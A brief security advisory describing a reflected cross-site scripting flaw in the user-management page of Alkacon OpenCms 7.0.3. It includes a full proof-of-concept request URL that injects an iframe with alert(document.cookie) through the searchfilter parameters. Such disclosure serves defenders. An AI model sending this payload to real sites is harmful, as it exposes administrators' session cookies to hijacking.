Alkacon OpenCms users_list.jsp searchfilter XSS


Product: Alkacon OpenCms 

http://www.opencms.org/



OpenCms contains a cross-site scripting vulnerability in the user management 
function. Input to parameter searchfilter in page 
opencms/system/workplace/admin/accounts/users_list.jsp is not sufficiently 
validated and/or sanitized before it gets embedded in the resulting web page.


Example:

http://(target)/opencms/system/workplace/admin/accounts/users_list.jsp?

ispopup=&action=listsearch&framename=&title=

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Faccounts%252Forgunit

&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=

&formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root=

&path=%252Faccounts%252Forgunit%252Fusers&redirect=

&searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E

&listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E



The vulnerability has been identified in version 7.0.3. However, other versions 
may be also affected.
